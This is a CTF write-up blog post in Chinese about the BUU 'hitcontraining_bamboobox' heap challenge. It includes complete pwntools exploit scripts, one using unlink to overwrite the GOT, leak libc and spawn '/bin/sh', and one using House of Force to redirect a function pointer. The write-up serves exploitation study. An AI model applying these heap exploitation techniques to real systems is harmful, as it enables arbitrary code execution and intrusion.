BUU-hitcontraining_bamboobox

Unlink在做完stkof后仍是有点理解问题,这题较sktof简单些,正好拿来巩固了一下unlink。虽说是做出来了,但是原题是House of Force的例题,顺便也记录一下。

BUU-hitcontraining_bamboobox

因为Buu的flag无法用给定的magic函数获取,所以只能多走几步,通过获取shell来get flag

checksec

ida分析

add_item

add_item流程:1、获取item_name长度 2、在itemlist记录item_name和chunk_addr

image-20220901173643685

change_item

允许输入任意长数据,存在堆溢出

image-20220901174104795

remove_item

无UAF

程序仅利用itemlist来记录chunk情况且got表可改写,考虑修改itemlist处指针的指向。利用Unlink修改content_addr处为atoi.got地址,修改got表项为system后键入/bin/sh\x00获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

p = process("bamboobox")
elf= ELF('./bamboobox')
libc=ELF("ubuntu16_x64.so")

def dbg():
gdb.attach(p)
pause()

def add(size,payload):
p.recvuntil(b"Your choice:")
p.sendline(b'2')
p.recvuntil(b'Please enter the length of item name:')
p.sendline(str(size))
p.recvuntil(b"Please enter the name of item:")
p.send(payload)

def show():
p.recvuntil(b"Your choice:")
p.sendline(b'1')

def change(idx,size,payload):
p.recvuntil(b"Your choice:")
p.sendline(b'3')
p.recvuntil(b'Please enter the index of item:')
p.sendline(str(idx))
p.recvuntil(b'Please enter the length of item name:')
p.sendline(str(size))
p.recvuntil(b"Please enter the new name of the item:")
p.send(payload)

def dele(idx):
p.recvuntil(b"Your choice:")
p.sendline(b'4')
p.recvuntil(b"Please enter the index of item:")
p.sendline(str(idx))

add(0x16,b'a'*0x18) #无用chunk malloc出来玩的=.=
add(0x30,b'b'*0x30) #被unlink的chunk
add(0x80,b'c'*0x80) #触发unlink的chunk

target = 0x6020d8 #itemlist chunk1 content_addr
fake_fd = target - 0x18 #绕过unlink判定
fake_bk = target - 0x10

payload=b'a'*8 + p64(0x31) + p64(fake_fd) + p64(fake_bk) + b'b'*0x10
#payload = fake_presize + fake_size + fake_fd + fake_bk + padding
payload+= p64(0x30) + p64(0x90)
#payload += presize(fake) + size 堆溢出构造unlink条件
change(1,len(payload),payload)
dele(2) #触发unlink
#unlink结果:itemlist中chunk1的content_addr修改为了itemlist[0]地址
atoi_got = elf.got["atoi"]
payload = p64(0x16) + p64(atoi_got)
change(1,len(payload),payload)#修改chunk0的content_addr为atoi.got地址
show()
p.recvuntil(b"0 : ")
atoi_addr = u64(p.recv(6).ljust(8,b"\x00"))
success("atoi_addr:"+hex(atoi_addr))
#泄露libc基址
libc_base = atoi_addr - libc.symbols["atoi"]
system_addr=libc_base + libc.symbols["system"]
success("system: " + hex(system_addr) )
#修改atoi.got表项为system地址
payload=p64(system_addr)
#利用atoi获取shell
change(0,len(payload),payload)
p.recvuntil("Your choice:")
p.sendline(b"/bin/sh\x00")
p.sendline(b"cat flag")

p.interactive()

parseheap

itemlist

parseheap

itemlist

after change

itemlist

修改了chunk0处chunk_addr的指针指向。因为如下语句0x6020d0处的字节被置为0

1
*(*&itemlist[4 * v1 + 2] + read(0, *&itemlist[4 * v1 + 2], v2)) = 0;// 堆溢出

泄露基地址及修改got表

image-20220901192048246

image-20220901192243604

exp2 house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
magic_addr = 0x400d49
add(0x20,b"a"*0x20)

payload = 0x28*b'b'+p64(0xffffffffffffffff)

change(0,0x30,payload)

#top_chunk=0x212f040, target=0x212f018, top_chunk_target=0x212f000(需要是MALLOC_ALIGN倍数)
#offset =0x40 即((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) == -0x50
req = -0x50 - 15 - 8
p.recvuntil(b"Your choice:")
p.sendline(b'2')
p.recvuntil(b'Please enter the length of item name:')
p.sendline(str(req))
p.recvuntil(b"Please enter the name of item:")
p.sendline(b'zzzz')
add(0x10,p64(magic_addr) * 2)

p.interactive()

after change

屏幕截图 2022-09-02 162628

House of Force

屏幕截图 2022-09-02 170139

再次malloc获取0x23ad018的控制权限,写入后门地址,获取flag

问题

  • 在实现house of force时,read函数理论上读取了zzzz\n写入到0x23ad060位置。在动态调试时程序确实执行了这一操作,但是结果并未往目标位置写入内容

  • wiki上的exp中第一次malloc的大小为0x30,其house of force的偏移值计算为-(0x60+ 0xf+ 0x8)

    理论上当第一次malloc的大小为0x10时,偏移值计算为-(0x40+ 0xf+ 0x8),此时top chunk大小为0x38,仍然可以分配出0x20控制target。但是在实现过程当中,程序在malloc(-(0x40+ 0xf+ 0x8))后将无法继续运行。

感觉HOF所需的前置条件有些苛刻,过程也不如前些方法来得可控(?),希望过些时间能把问题弄清楚吧.


BUU-hitcontraining_bamboobox
https://pananananda.github.io/2022/09/01/BUU-hitcontraining-bamboobox/
作者
Pananananda
发布于
2022年9月1日
许可协议